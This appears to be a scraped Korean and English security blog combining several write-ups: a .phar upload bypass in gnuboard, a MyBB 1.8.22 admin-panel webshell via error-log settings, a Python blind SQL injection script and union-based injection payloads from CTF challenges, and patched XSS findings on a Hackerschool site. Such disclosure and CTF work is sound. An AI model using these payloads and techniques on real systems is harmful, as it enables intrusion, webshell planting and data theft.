https://github.com/gnuboard/gnuboard5/commit/6dc462d7843bc09ccef08f1128cb4b445da1d6c9

 

(KVE-2021-0849) 확장자 .phar 파일 업로드 취약점 수정 · gnuboard/gnuboard5@6dc462d

Permalink This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. Showing 3 changed files with 4 additions and 4 deletions. +1 −1 bbs/qawrite_update.php +1 −1 bbs/write_update.php +2 −2 instal

github.com

 

회사분이 위의 취약점 찾으면서 알게된 취약점

 

 

/etc/apache2/mods-enabled/php7.4.conf

php 7.2? apache 에서 돌아갈 경우 Sethandler 부분에 의해서 php로 실행된다.

shell

위의 내용의 파일을 test.phar로 생성했다.

쉘 화면

 

ㄷㄷ; blacklist 기반으로 파일 업로드 체크할거면 조심해야할듯..

I'm going to write about RCE on the MyBB 1.8.22 Admin panel, which I've analyzed a lot over the past year Because ninja patch 

 

 

1. MyBB error function code (/inc/class_error.php) 

If you look at the code above, check the value of the settings variable and run the log_error function.

 

 

2. MyBB log_error function code (/inc/class_error.php) 

 

If you look at the code above, checks the value of the settings variable and generates an error log file in that path.

 

 

 

3. MyBB Setting page in Admin panel (/admin/modules/config/settings.php)

If you look at the code in the picture above, after checking the input,
After updating the data in the database, perform the rebuild_setting() function.

 

4. MyBB rebulid_settings function code (/inc/functions.php)

If you look at the code above, SELECT the value of the Settings Table, replace the dangerous string of data, and then run the file_put_content function

 

 

1. error log setting page in Admin Panel

If you look at the MyBB admin panel, there is a place for setting up error log

 

If you can include the php code in the error, RCE is possible!

 

4. MyBB Setting page in Admin panel (/admin/modules/config/settings.php)

If you look at the code above, check the path using realpath function and pass if it is not false.

 

5. php.net/realpath function

The realpath function checks if the path actually exists and returns the actual path by replacing the string "./","../", etc. as shown in the picture below.

 

6. realpath function return value

However, the realpath function has the following tricks

 

7. relapath function trick

By using this trick, the code for image 4 could be bypassed.

 

 

Exploit is as follows 

 

8. error log setting page in Admin Panel

Set as above.

 

 

9. Attach a file to a MyBB board

 

10. Error display
11. Success Webshell write

Ninja Patch is a waste, but it was fun!

 

If you need any questions, please contact me on Twitter.

'WRITEUP' 카테고리의 다른 글

[pwnthybytes] Baby sql is not baby anymore  (0) 2019.10.01
[Codegate 2018] Simple CMS Write up  (0) 2018.02.08

import requests

result =''
url = 'http://137.117.210.176:13372/'
data = '''------WebKitFormBoundary8Jltb5vw5fWfSYS4
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

asdfasdfasdf
------WebKitFormBoundary8Jltb5vw5fWfSYS4--'''
headers = {'Cookie' : 'PHPSESSID=yelang123;',
   'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundary8Jltb5vw5fWfSYS4'}
for x in range(1,10000):
for i in range(32,128):
payload = "templates/login.php?username=1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23&password=tlqkf12a".format(i,x);
r = requests.post(url+payload,headers=headers,data=data)
if "Try again!" not in r.text:
result += chr(i)
print(result)
break;
else:
continue;
print(result)

'WRITEUP' 카테고리의 다른 글

MyBB <= 1.8.22 RCE in Admin Panel (subtitle ninja patch)  (0) 2020.08.15
[Codegate 2018] Simple CMS Write up  (0) 2018.02.08


classes/Board.class.php 를 보면 GET['col']의 대한 내용을 정규식을 통해 Filter 합니다. 그러나 정규식에서 # 을 막지 않았고 바로 취약점을 찾을 수 있었습니다.



get_search_query 메서드는 3개의 인자를 받아 explode 함수로 | 문자열을 구분자로 배열로 변환 후 $column 배열을 count하여 그 만큼의 SQL을 실행해 주는데, 이때 위와 같이 "컬럼 = 검색할 문자열 연산자" 와 같은 형식으로 $result변수가 선언되어 return 됩니다.


이때 위와 같이 말씀드린것 처럼 column엔 test#%0a1) union ~~~%23 과 같은 형식으로 SQL Injection이 가능하지만 


해당 CMS는 DB와 테이블을 생성할 때 10글자의 문자를 랜덤으로 생성하여 hex값으로 변환 후 테이블 이름앞에 랜덤값을 붙이는데 이 랜덤값은 brute force를 통해 값을 알아낼 수 없기 때문에 다른방법을 찾아보았습니다.


그러던중 해당 cms에 Connect 된 Mysql USER가 root라는걸 알아냈고 그후 mysql DB의 innodb_table_stats 테이블의 table_name  컬럼을 통해 Table 명을 알게되어 풀었습니다.


"?col=test#&search=) union select 1,(select table_name from mysql.innodb_table_stats limit 0,1),3,4,5#" 와 같은 쿼리를 통해  Table 명을 leak 할 수 있었고, 그후 flag를 읽어왔습니다.


그러나 출제자 님의 말씀을 통해 의도하지 않은 풀이라는것을 알게되었고 원래 의도된 풀이를 말씀해주셨습니다.


그리고 저는 "이 외의 다른 풀이가 있을수도 있겠다"라는 생각을 가지고 다른 Table 명을 릭하는 방법을 몇개 적어 보겠습니다.


출제자 님의 풀이 : col=test#&search=1)^(id=1)-~1%23,


알게된 풀이 : col=test#&search=1) > exp(~((flag=1)))# , col=test#&search=1) > polygon(idx)#

등 더 다양한 풀이가 있습니다 이런식으로 leak을 한 뒤 flag를 뽑아오면 됩니다.


보안을 공부하는 사람들과 커뮤니케이션이 별로 없어서 그룹이나 해커스쿨 같은 커뮤니티 사이트를 열심히 눈팅 하던 중 지인이 예전에 해커스쿨 취약점을 제보한것이 기억나서 "취약점을 찾아보자!" 라는 생각으로 취약점을 찾게 되었습니다.

(해당 취약점은 이미 패치가 되었고 내용을 올려도 된다는 해커스쿨 운영자님께 허락을 받고 올렸습니다.)


1. 회원가입 기능의 계정 중복확인 기능 XSS


해커스쿨 회원가입을 할 때 계정이 존재해주는 기능이 있는데 "<,>" 등 문제가 발생할만한 문자들이 치환되지 않는것을 확인할 수 있었습니다. 

그러나 chrome auditor 때문에 script를 실행할 수 없었고 고민을 하다 script src로 auditor bypass를 해보자 하여 제 웹서버에 js를 업로드 후 시도하였지만 실패했습니다. 

하지만 "해커스쿨 홈 페이지의 js 파일을 업로드후 그 경로를 통해 auditor bypass하면 되지 않을까?" 라는 생각을 하여 업로드 후 공격에 성공했습니다.



(이렇게요ㅎㅎ)


2. 게시판 XSS


위에 취약점을 발견후 더 파보자 해서 발견한 취약점 입니다.

이 취약점은 해커스쿨 게시판에서 글을 읽을때 아래와 같이 동적으로 title을 설정해줍니다.


(사진을 몇장 안찍어놔서...)


위와 같은 형식으로 title을 지정해주는데 이때 괄호 같은건 치환을 해도 쿼터와 같은 문자열은 안하길래 그냥 아래와 같이 공격하여 auditor bypass 및 xss 조졌습니다.



띠용 하나 더 있긴한데 이건 나중에 차차 올리도록 하겠습니다.


그 외의...


그 외의 틀린점이나 궁금하신 점 등은 아래의 메일로 알려주시면 감사하겠습니다.

E-mail : redrudolph_1@icloud.com



MYSQL의 length 함수는 인자로 받는 str을 byte 형식으로 계산하여 리턴해주는데


예를 들어 중국어의 경우는 character set이 UTF-16이다 때문에 

华(3byte),语(3byte) 이런식의 문자열 그리고 â(2byte) 이런식의 문자열은 조금씩 다른 리턴값을 가져온다.


                                    (그림 1)


 그냥 대충 문제 만들면 재밌을듯 한데 char_length함수는 그림 2와 같이 멀티 바이트의 문자열은 하나의 문자로 간주해서 문제 없다 ㅎㅎ


                                    (그림 2)

+ Recent posts